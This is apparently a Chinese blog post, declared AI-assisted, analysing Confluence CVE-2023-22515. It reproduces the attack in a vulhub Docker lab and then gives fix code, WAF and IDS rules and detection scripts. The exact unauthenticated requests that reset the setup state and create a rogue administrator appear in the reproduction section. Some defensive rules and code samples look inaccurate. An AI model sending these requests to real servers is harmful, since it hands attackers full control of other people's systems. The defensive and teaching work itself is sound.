创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞原理分析(Broken Access Control)
CVE-2023-22515 是 Atlassian Confluence Data Center 和 Server 中的一个访问控制破损(Broken Access Control)漏洞,其严重性被官方定为 Critical(CVSS 10),并被加入 CISA Known Exploited Vulnerabilities Catalog,表明该漏洞在野外正被积极利用。
Confluence 在其 Web 框架(基于 Struts2 的变体)中,对某些敏感操作的路径保护不当。
- 路径解析缺陷:攻击者可以访问
/server-info.action路径,并利用参数污染或特定的请求后缀绕过鉴权检查。 - 配置覆盖:通过向该端点发送特定参数,攻击者可以修改服务器的内存状态,将系统标记为“未完成安装”状态(即设置
setupComplete = false)。 - 初始化触发:一旦系统认为安装未完成,它会重新开放
/setup/setupadministrator-start.action接口,允许任何人直接注册一个新的系统管理员账号。
漏洞本质
- 该漏洞允许未经认证的远程攻击者通过访问特定内部 API 端点,重置 Confluence 配置状态为未完成设置状态。
- 利用该状态,攻击者可访问
/setup/setupadministrator.action并创建 未经授权的管理员帐户。 - 攻击成功后,攻击者拥有该实例的完全管理员权限,可执行任意管理操作,甚至执行任意代码或安装恶意插件。 换句话说,这是一个访问控制绕过漏洞(CWE-284),攻击者无需登录即可执行高权限用户操作。
┌────────────┐ ① 发送恶意请求:GET /server-info.action?bootstrapStatusProvider.setupComplete=false
│ 攻击者 │ ─────────────────────────────────────────────────────┐
└────────────┘ │
│ ▼
│ ② Confluence 未正确验证该请求,允许访问并修改 setupComplete 状态 │
│ ──────────────────────────────────────────────────────────────│
▼ │
┌─────────────────────┐ │
│ Confluence 后端 │ ◄──────────────────────────────────────────────┘
│ 将 setupComplete 设为 false │
└─────────┬───────────┘
│ ③ 系统认为安装未完成,重新开放管理员设置界面
▼
┌─────────────────────┐
│ 攻击者访问 /setup/setupadministrator-start.action │
│ 直接创建新的管理员账户 │
└─────────┬───────────┘
│ ④ 攻击者获得 Confluence 完全控制权限
▼
┌─────────────────────┐
│ 可执行任意操作,如安装恶意插件或执行代码 │
└─────────────────────┘
攻击场景流程图(Attack Flow)
以下用流程图描述典型攻击路径:
flowchart TD
A[External Attacker]
B[Unauth HTTP GET /server-info.action]
C[Response: setupComplete=false]
D[HTTP GET /setup/setupadministrator.action]
E[Create Admin User]
F[Unauthorized Admin Account]
G[Full Confluence Control]
A --> B
B --> C
C --> D
D --> E
E --> F
F --> G
图注:攻击者通过访问 /server-info.action 响应获得未完成设置状态,随后访问 /setup/setupadministrator.action 来创建管理员用户。
DFD 威胁建模(数据流图)
[External Attacker]
|
| 1. GET /server-info.action
v
[Process P1: Confluence Setup Status API]
|
| 2. Response indicates setup incomplete
v
[Process P2: Unauthorized Setup Flow]
|
| 3. GET /setup/setupadministrator.action
v
[Process P3: Administrator Creation]
|
v
[DataStore: User Accounts]
STRIDE 威胁分析
| 威胁类别 | 是否 | 说明 |
|---|---|---|
| Spoofing | ❌ | 不需伪造身份 |
| Tampering | ⚠️ | 修改配置为未完成 |
| Repudiation | ⚠️ | 操作难以区分合法 |
| Info Disclosure | ⚠️ | 可能导致配置泄露 |
| DoS | ❌ | 主要访问控制问题 |
| Elevation of Privilege | ✅ | 普通用户→管理员 |
漏洞复现原理图示说明
攻击时序图
sequenceDiagram
participant A as 攻击者
participant W as Web服务器
participant C as Confluence应用
participant S as 状态管理器
participant DB as 数据库
participant FS as 文件系统
A->>W: 1. 探测版本信息
W->>C: 2. 转发请求
C->>A: 3. 返回版本号
Note over A: 确认版本在漏洞范围
A->>W: 4. 发送重置请求<br>带特殊参数
W->>C: 5. 转发重置请求
C->>S: 6. 处理状态重置
S->>DB: 7. 更新系统状态
DB->>S: 8. 确认状态已更新
S->>C: 9. 返回成功响应
C->>A: 10. 请求成功
Note over A: 系统状态已重置
A->>W: 11. 访问安装页面
W->>C: 12. 检查系统状态
C->>DB: 13. 查询安装状态
DB->>C: 14. 返回未安装状态
C->>W: 15. 显示安装界面
W->>A: 16. 返回安装页面
A->>W: 17. 提交管理员创建
W->>C: 18. 处理管理员创建
C->>DB: 19. 创建管理员账户
DB->>C: 20. 确认创建成功
C->>A: 21. 返回创建成功
Note over A: 获得管理员权限
A->>W: 22. 使用管理员凭据登录
W->>C: 23. 验证管理员权限
C->>A: 24. 登录成功
A->>W: 25. 安装恶意插件
W->>C: 26. 处理插件安装
C->>FS: 27. 写入插件文件
FS->>C: 28. 确认写入成功
C->>W: 29. 插件安装完成
W->>A: 30. 返回安装成功
A->>W: 31. 触发插件恶意功能
W->>C: 32. 执行插件代码
C->>FS: 33. 执行系统命令
FS->>C: 34. 返回执行结果
C->>A: 35. 返回命令输出
Note over A: 远程代码执行成功
漏洞利用链条fenxi
graph LR
subgraph "漏洞链第一阶段: 状态重置"
A1[未授权访问] --> A2[状态重置端点]
A2 --> A3[修改全局状态]
A3 --> A4[安装状态回退]
end
subgraph "漏洞链第二阶段: 认证绕过"
B1[未完成状态] --> B2[访问安装页面]
B2 --> B3[绕过原有认证]
B3 --> B4[创建新管理员]
end
subgraph "漏洞链第三阶段: 权限提升"
C1[管理员账户] --> C2[完全控制权限]
C2 --> C3[系统级访问]
end
subgraph "漏洞链第四阶段: 代码执行"
D1[管理员权限] --> D2[插件安装功能]
D2 --> D3[恶意代码执行]
D3 --> D4[系统命令执行]
end
A4 --> B1
B4 --> C1
C3 --> D1
style A2 fill:#ff9999
style B3 fill:#ff6666
style C2 fill:#ff3333
style D3 fill:#cc0000
系统状态变化示意图
正常系统状态:
┌─────────────────────────────────┐
│ Confluence 系统状态 │
├─────────────────────────────────┤
│ 安装状态: 已完成 (setupComplete)│
│ 认证要求: 正常认证流程 │
│ 管理访问: 需要管理员权限 │
│ 安全状态: 受保护 │
└─────────────────────────────────┘
攻击后状态:
┌─────────────────────────────────┐
│ Confluence 系统状态 │
├─────────────────────────────────┤
│ 安装状态: 未完成 │
│ 认证要求: 安装向导(无认证) │
│ 管理访问: 开放创建管理员 │
│ 安全状态: 完全暴露 │
└─────────────────────────────────┘
攻击路径:
正常状态 → 漏洞触发 → 状态重置 → 未完成状态
漏洞复现
docker启动并输入localhost:8090后,点击蓝色链接到ATLASSIAN获取许可认证(api)。这里需要用你的谷歌邮箱进行登录,如果没有google邮箱建议自行想其他方法。否则,就不要开始打开靶机。
注册完成后,点击生成许可证。
马上弹出一个窗口,点击确认后找到生成密钥的附近随便点点看,有相关按钮跳转为下面的界面,点击Next。
如上图所示,回到了刚开始打开的界面,但是已经拥有了密钥。
选择Non-clustered模式,然后按官方的要求进行表单的填写与提交。
否则,会出现各种各样的报错信息。
等待稍许片刻后,点击下图中的第一个蓝色按钮。
继续,点击第一个蓝色按钮。
紧接着随便输入你想要提交的表单,这里可能官方的环境由于ATLASSIAN版本更新的原因,已经携带了Token。
POST /setup/setupadministrator.action HTTP/1.1
Host: localhost:8090
Content-Length: 176
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://localhost:8090
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8090/setup/setupadministrator-start.action
Accept-Encoding: gzip, deflate, br
Cookie: OFBiz.Visitor=10001; JSESSIONID=E0C2598C8816975EBE0F8DB8FAEBF85E
Connection: keep-alive
atl_token=5f594222f0b5da2ce516258b75471115481814d2&username=adore&fullName=adore123&email=123adore%40hotmail.com&password=Adore%40123&confirm=Adore%40123&setup-next-button=Next //%40是特殊字符@的url编码
如果我们不携带Token值应当是无法完成注册的(如下图)。甚至添加Token值,它也会像上面出现session过期的提示,不过好像只是前端校验。
那么,竟然如此,那我选择手动注册,不再用抓包进行注册。
username=adore&fullName=adore123&email=123adore%40hotmail.com&password=Adore%40123&confirm=Adore%40123&setup-next-button=Next
当我用上面的表单信息进行注册时,发现用户名adore已经使用,所以改为adore123。
其余信息保持不变,注册完成后看到如下信息。
可以从上图看到,其实我们已经成功注册管理员账户adore123了。用我们注册的用户信息进行登录。
或者在登陆后的界面查看用户信息,发现我们伪造的管理员注册成功。
其余的尝试,试着将flase改为true,但是没有成功。
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
疑问:官方提供的第一个抓包信息怎么得来的?它的最主要的作用是什么?个人感觉我做本题时,根本想不到其作用。如果它的作用只是为了找到用户注册时的表单窗口,我们在注册数据库表单时出现的链接http://localhost:8090/setup/setupdbtype-start.action?thisNodeClustered=true接着再走两步都能手动查看到注册窗口了。
修复建议
- 立即升级:升级到 8.3.3, 8.4.3, 8.5.2 或更高版本。
- 临时防御 (无法升级时):
- 在 Web 代理(Nginx/Apache)中拦截所有指向
/server-info.action和/setup/*的请求。 - 在
web.xml中增加安全约束(Security Constraint)禁止未授权访问。
- 在 Web 代理(Nginx/Apache)中拦截所有指向
- 日志审计:检查
/server-info.action的访问记录,特别是包含bootstrapStatusProvider的异常参数请求。
伪代码级修复示例
修复逻辑集中在 加强路径拦截器 和 禁止动态修改关键状态对象。
漏洞代码逻辑(示意):
public class ServerInfoAction extends ConfluenceActionSupport {
private BootstrapStatusProvider bootstrapStatusProvider;
// 漏洞点:Struts2 自动将 URL 参数映射给 setter
public void setBootstrapStatusProvider(BootstrapStatusProvider provider) {
this.bootstrapStatusProvider = provider;
}
public String execute() {
// 接口未强制检查当前用户是否为管理员
return SUCCESS;
}
}
修复方案逻辑(详细具体):
public class ServerInfoAction extends ConfluenceActionSupport {
// 修复 1: 禁用敏感对象的动态 Setter 注入
// 或者使用 @PropertyPathRestriction 限制可访问的路径
private BootstrapStatusProvider getReadOnlyBootstrapStatus() {
return BootstrapManager.getInstance().getBootstrapStatusProvider();
}
@Override
public String execute() {
// 修复 2: 显式权限检查
if (!isUserAuthenticated() || !isSystemAdministrator()) {
log.warn("Unauthorized attempt to access server-info with parameters!");
return ERROR_FORBIDDEN;
}
// 修复 3: 状态检查。一旦 setupComplete 为 true,禁止任何 Action 将其逆转
if (getReadOnlyBootstrapStatus().isSetupComplete()) {
// 禁止覆盖逻辑
return SUCCESS;
}
return SUCCESS;
}
}
// 修复 4: 拦截器层面的全局加固 (Interceptor)
public class SetupCheckInterceptor implements Interceptor {
public String intercept(ActionInvocation invocation) {
String actionName = invocation.getProxy().getActionName();
// 严格限制:如果系统已安装,任何 /setup/ 路径必须返回 404/403
if (actionName.startsWith("setup") && BootstrapManager.isSetupComplete()) {
return "access-denied";
}
return invocation.invoke();
}
}
修复方案1:状态端点安全加固
// 修复后的ServerInfoAction
public class SecureServerInfoAction extends ActionSupport {
@Override
public String execute() throws Exception {
// 1. 移除危险的状态设置功能
// 原漏洞代码:bootstrapStatusProvider.setupComplete=false
// 修复:不再允许通过参数修改系统状态
// 2. 只读模式返回服务器信息
Map<String, Object> serverInfo = new HashMap<>();
// 3. 安全的服务器信息
serverInfo.put("version", getVersionInfo());
serverInfo.put("buildDate", getBuildDate());
serverInfo.put("serverTime", new Date());
// 4. 移除敏感信息
// 不返回安装状态、数据库信息等
// 5. 记录访问日志
logAccess(getRemoteAddr(), "server-info");
return SUCCESS;
}
// 添加访问控制
@Override
public boolean isPermitted() {
// 需要管理员权限访问服务器信息
return permissionManager.isConfluenceAdministrator(getAuthenticatedUser());
}
}
修复方案2:安装状态保护
// 安装状态管理器加固
@Component
public class SecureSetupManager {
private final AtomicBoolean setupComplete = new AtomicBoolean(true);
private final Set<String> allowedResetIps = new HashSet<>();
@PostConstruct
public void init() {
// 从安全配置加载允许重置的IP
allowedResetIps.addAll(loadTrustedIps());
// 锁定安装状态
lockSetupStatus();
}
public boolean isSetupComplete() {
return setupComplete.get();
}
public void setSetupComplete(boolean complete, HttpServletRequest request) {
// 1. 验证请求来源
String clientIp = request.getRemoteAddr();
if (!allowedResetIps.contains(clientIp)) {
logSecurityAlert("UNAUTHORIZED_SETUP_RESET", clientIp);
throw new SecurityException("Unauthorized setup reset attempt");
}
// 2. 验证用户权限
User user = getUserFromRequest(request);
if (!isSystemAdministrator(user)) {
logSecurityAlert("INSUFFICIENT_PRIVILEGES", user.getName());
throw new SecurityException("Insufficient privileges");
}
// 3. 二次确认机制
String confirmation = request.getParameter("confirmationToken");
if (!isValidConfirmation(confirmation)) {
throw new SecurityException("Confirmation required");
}
// 4. 记录审计日志
logSetupStatusChange(user, complete);
// 5. 执行状态变更
setupComplete.set(complete);
}
private void lockSetupStatus() {
// 一旦完成安装,锁定状态
if (setupComplete.get()) {
// 设置只能通过特定管理接口修改
// 需要多重验证
}
}
}
修复方案3:安装页面访问控制
// 安全安装向导控制器
@Controller
@RequestMapping("/setup")
public class SecureSetupController {
@GetMapping("/setupadministrator.action")
public String showSetupPage(HttpServletRequest request, Model model) {
// 1. 检查是否真的需要安装
if (setupManager.isSetupComplete()) {
// 已完成的系统重定向到登录页
logSecurityWarning("UNAUTHORIZED_SETUP_ACCESS", request.getRemoteAddr());
return "redirect:/login.action";
}
// 2. 检查请求来源IP限制
if (!isAllowedSetupAccess(request)) {
logSecurityAlert("BLOCKED_SETUP_ACCESS", request.getRemoteAddr());
return "error/403";
}
// 3. 生成安全的token
String secureToken = generateSecureToken();
model.addAttribute("secureToken", secureToken);
// 4. 添加速率限制
if (isRateLimited(request)) {
return "error/429";
}
return "setup/admin";
}
@PostMapping("/setupadministrator.action")
public String processSetup(@Valid AdminSetupRequest request,
HttpServletRequest httpRequest) {
// 1. 验证安全token
if (!validateSecureToken(request.getSecureToken())) {
return "error/invalid-token";
}
// 2. 验证安装状态
if (setupManager.isSetupComplete()) {
logSecurityAlert("SETUP_AFTER_COMPLETION", httpRequest.getRemoteAddr());
return "redirect:/login.action";
}
// 3. 严格的密码策略
if (!isPasswordSecure(request.getPassword())) {
model.addAttribute("error", "密码不符合安全要求");
return "setup/admin";
}
// 4. 创建管理员并记录
User admin = createAdministrator(request);
logSetupCompletion(admin, httpRequest);
// 5. 标记安装完成(需要多重确认)
setupManager.completeSetup(admin);
return "redirect:/login.action";
}
private boolean isAllowedSetupAccess(HttpServletRequest request) {
// 只允许本地访问或特定网络段
String ip = request.getRemoteAddr();
return ip.equals("127.0.0.1") ||
ip.startsWith("10.") ||
ip.startsWith("192.168.");
}
}
基于该漏洞的安全检测与防护规则
CVE-2023-22515 攻击链的关键点是访问 /server-info.action 和随后访问 /setup/setupadministrator.action 来创建管理员账户。下面是可落地、具体且低误报的检测规则设计:
Web服务器配置
# Nginx 配置阻止攻击
location ~* /server-info\.action {
# 限制访问方法
if ($request_method !~ ^(GET|HEAD)$) {
return 405;
}
# 检查参数是否包含危险操作
if ($query_string ~* "setupComplete") {
return 403;
}
# IP限制
allow 127.0.0.1;
allow 10.0.0.0/8;
deny all;
# 记录访问日志
access_log /var/log/nginx/confluence_security.log;
}
location ~* /setup/ {
# 安装页面访问控制
if ($remote_addr !~ "^(127\.0\.0\.1|10\.|192\.168\.)") {
return 403;
}
# 速率限制
limit_req zone=setup zone=5r/m;
# 安全检查
if ($http_referer !~ "^https://$server_name/") {
return 403;
}
}
检测与监控规则
# Suricata/IDS 规则
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"CONFLUENCE Setup Reset Attempt";
flow:to_server,established;
content:"/server-info.action"; http_uri;
content:"setupComplete"; http_client_body;
content:"false"; http_client_body;
classtype:web-application-attack;
sid:20231001;
rev:2;
)
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"CONFLUENCE Unauthorized Setup Access";
flow:to_server,established;
content:"/setup/"; http_uri;
content:"administrator"; http_uri;
http.method:POST;
threshold:type threshold, track by_src, count 3, seconds 60;
classtype:privilege-escalation;
sid:20231002;
rev:1;
)
应用监控规则
# 应用层监控脚本
class ConfluenceSecurityMonitor:
def __init__(self):
self.suspicious_patterns = [
r"/server-info\.action\?.*setupComplete",
r"/setup/setupadministrator\.action",
r"atl_token.*admin.*create"
]
def detect_anomalies(self, log_entries):
alerts = []
for entry in log_entries:
# 检测状态重置尝试
if self.is_setup_reset_attempt(entry):
alert = {
"timestamp": entry['timestamp'],
"event": "Confluence setup reset attempt",
"severity": "CRITICAL",
"source_ip": entry['source_ip'],
"details": entry
}
alerts.append(alert)
# 检测异常安装页面访问
if self.is_unauthorized_setup_access(entry):
alert = {
"timestamp": entry['timestamp'],
"event": "Unauthorized setup access",
"severity": "HIGH",
"source_ip": entry['source_ip'],
"details": entry
}
alerts.append(alert)
return alerts
def is_setup_reset_attempt(self, log_entry):
url = log_entry.get('url', '')
return 'server-info.action' in url and 'setupComplete' in url
def is_unauthorized_setup_access(self, log_entry):
url = log_entry.get('url', '')
source_ip = log_entry.get('source_ip', '')
# 外部IP访问安装页面
if '/setup/' in url and not self.is_internal_ip(source_ip):
return True
return False
def is_internal_ip(self, ip):
# 检查是否为内部IP
return ip.startswith('10.') or ip.startswith('192.168.') or ip == '127.0.0.1'
基于 Flask 的实时检测与防护(应用层) 部署一个 Flask 应用作为反向代理/API 网关,对所有进入 Confluence 的请求进行预处理,拦截恶意请求。
1.1 Flask 中间件:路径与参数检测
# confluence_proxy.py
import re
from flask import Flask, request, abort, jsonify
import time
app = Flask(__name__)
# 敏感路径列表
SENSITIVE_PATHS = [
'/server-info.action',
'/setup/setupadministrator-start.action',
'/setup/setupadministrator.action',
]
# 危险参数检测(用于状态重置)
DANGEROUS_PARAMS = [
re.compile(r'bootstrapStatusProvider\.setupComplete\s*=', re.I),
re.compile(r'setupComplete\s*=', re.I),
]
# 简单的会话验证(模拟,实际应验证 Confluence 的 session 或 cookie)
def is_authenticated():
# Confluence 通常使用 JSESSIONID cookie
session_cookie = request.cookies.get('JSESSIONID')
auth_header = request.headers.get('Authorization')
return bool(session_cookie or auth_header)
# 速率限制(内存实现)
request_records = {}
def rate_limit(ip, limit=20, window=60):
now = time.time()
if ip not in request_records:
request_records[ip] = []
request_records[ip] = [t for t in request_records[ip] if now - t < window]
if len(request_records[ip]) >= limit:
return True
request_records[ip].append(now)
return False
@app.before_request
def before_request():
# 1. 检查路径是否敏感
is_sensitive = any(request.path.startswith(p) for p in SENSITIVE_PATHS)
if not is_sensitive:
return
# 2. 对敏感路径,检查是否包含危险参数
args = request.args.to_dict()
for key, value in args.items():
for pattern in DANGEROUS_PARAMS:
if pattern.search(key) or pattern.search(f"{key}={value}"):
log_attack(request, 'dangerous_param')
abort(403, description='Malicious parameter detected')
# 3. 检查认证状态
if not is_authenticated():
# 对未认证的敏感请求进行速率限制(防止暴力扫描)
if rate_limit(request.remote_addr):
abort(429, description='Too many requests')
else:
# 严格模式下可直接拒绝未认证访问
abort(401, description='Authentication required')
@app.errorhandler(401)
def unauthorized(e):
return jsonify(error='Unauthorized'), 401
@app.errorhandler(403)
def forbidden(e):
return jsonify(error='Forbidden'), 403
@app.errorhandler(429)
def too_many(e):
return jsonify(error='Too many requests'), 429
def log_attack(request, attack_type):
with open('confluence_attack.log', 'a') as f:
f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type}\n")
# 转发请求到后端 Confluence
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
# 实际应转发到 Confluence 服务器
return f"Proxied to {path}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
1.2 日志监控脚本 实时分析 Confluence 访问日志,发现对关键路径的异常访问。
# monitor_logs.py
import re
import sys
LOG_PATTERN = re.compile(
r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)
SENSITIVE_PATHS = ['/server-info.action', '/setup/setupadministrator-start.action']
DANGEROUS_PARAM_PATTERN = re.compile(r'bootstrapStatusProvider\.setupComplete', re.I)
def analyze_log(logfile):
with open(logfile, 'r') as f:
for line in f:
match = LOG_PATTERN.search(line)
if not match:
continue
path = match.group('path')
ip = match.group('ip')
if any(p in path for p in SENSITIVE_PATHS):
if DANGEROUS_PARAM_PATTERN.search(path):
print(f"[!] 攻击尝试:IP {ip} 访问 {path}")
else:
print(f"[*] 敏感路径访问:IP {ip} 访问 {path}")
基于 TensorFlow 的异常行为检测
利用机器学习模型识别针对 Confluence 的异常访问模式,特别是对 /server-info.action 的异常参数请求。
2.1 特征工程
从每个请求中提取特征,构建数据集。特征包括:
path_length: 请求路径长度has_server_info: 路径是否包含server-info.action(0/1)has_setup: 路径是否包含setupadministrator(0/1)has_setupComplete_param: 参数中是否包含setupComplete(0/1)param_count: 参数数量method: 请求方法(GET=1, POST=2)hour: 请求小时ip_reputation: IP 信誉分(需外部API)user_agent_length: User-Agent 长度is_known_ua: 是否常见浏览器 UArequest_freq_10min: 该IP最近10分钟请求数is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
features = [
len(request_entry['path']),
1 if 'server-info.action' in request_entry['path'] else 0,
1 if 'setupadministrator' in request_entry['path'] else 0,
1 if 'setupComplete' in request_entry['params'] else 0,
len(request_entry['params']),
{'GET':1, 'POST':2}.get(request_entry['method'], 0),
request_entry['timestamp'].hour,
ip_reputation(request_entry['ip']), # 需实现
len(request_entry['user_agent']),
1 if 'Mozilla' in request_entry['user_agent'] else 0,
history['freq_10min'],
int(request_entry['is_auth'])
]
return features
2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。
import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split
# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
model = models.Sequential([
layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
layers.Dropout(0.3),
layers.Dense(32, activation='relu'),
layers.Dropout(0.3),
layers.Dense(16, activation='relu'),
layers.Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam',
loss='binary_crossentropy',
metrics=['accuracy'])
model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)
# 保存模型
model.save('confluence_anomaly_model.h5')
2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。
from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime
model = load_model('confluence_anomaly_model.h5')
THRESHOLD = 0.8
def get_ip_history(ip):
# 从缓存获取历史统计
return {'freq_10min': 0}
def ip_reputation(ip):
return 0
@app.before_request
def before_request():
# ... 之前的基础检测 ...
# 对敏感路径进行机器学习异常检测
if any(request.path.startswith(p) for p in ['/server-info.action', '/setup/']):
request_entry = {
'ip': request.remote_addr,
'path': request.path,
'method': request.method,
'params': request.args.to_dict(),
'user_agent': request.headers.get('User-Agent', ''),
'is_auth': is_authenticated(),
'timestamp': datetime.now()
}
history = get_ip_history(request.remote_addr)
if predict_anomaly(request_entry, history):
log_attack(request, 'ml_anomaly')
abort(403, description='Suspicious behavior detected')
def predict_anomaly(request_entry, history):
features = extract_features(request_entry, history)
prob = model.predict(np.array([features]))[0][0]
return prob > THRESHOLD
基于 ModSecurity 的 WAF 规则
在 Apache/NGINX 中部署 ModSecurity,拦截对 Confluence 的漏洞利用尝试。 3.1 基础规则
# modsecurity_crs_71_confluence_cve_2023_22515.conf
# 规则1:拦截对 /server-info.action 的请求,且包含危险参数
SecRule REQUEST_URI "@contains /server-info.action" \
"id:1008001,\
phase:1,\
t:none,\
chain,\
deny,\
status:403,\
msg:'Confluence CVE-2023-22515 - State reset attempt'"
SecRule ARGS_NAMES|ARGS "@rx bootstrapStatusProvider\.setupComplete" \
"t:none,\
capture,\
logdata:'Matched param: %{TX.0}',\
tag:'attack-auth-bypass',\
tag:'cve-2023-22515',\
severity:'CRITICAL'"
# 规则2:拦截对 /setup/setupadministrator-start.action 的未授权访问
SecRule REQUEST_URI "@beginsWith /setup/setupadministrator-start.action" \
"id:1008002,\
phase:1,\
t:none,\
deny,\
status:403,\
msg:'Confluence CVE-2023-22515 - Unauthorized admin setup access',\
tag:'attack-auth-bypass',\
severity:'CRITICAL'"
# 规则3:对敏感路径进行速率限制
SecRule REQUEST_URI "@beginsWith /server-info.action" \
"id:1008003,\
phase:1,\
t:none,\
ver:'OWASP_CRS/4.0',\
block,\
msg:'Confluence server-info rate limiting',\
setvar:'tx.server_info_counter_%{REMOTE_ADDR}=+1',\
expirevar:'tx.server_info_counter_%{REMOTE_ADDR}=60'"
SecRule TX:server_info_counter_%{REMOTE_ADDR} "@gt 5" \
"id:1008004,\
phase:1,\
block,\
msg:'Too many server-info requests',\
severity:'WARNING'"
3.2 部署示例(NGINX)
server {
listen 80;
server_name confluence.example.com;
ModSecurityEnabled on;
ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;
location / {
proxy_pass http://confluence-backend:8090;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
总结:CVE-2023-22515 是 Confluence 中的严重访问控制漏洞,可导致完全控制实例。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 Confluence 的用户立即采取行动。
参考文章:
[1].vulhub/confluence/CVE-2023-22515 at master · vulhub/vulhub github.com/vulhub/vulh…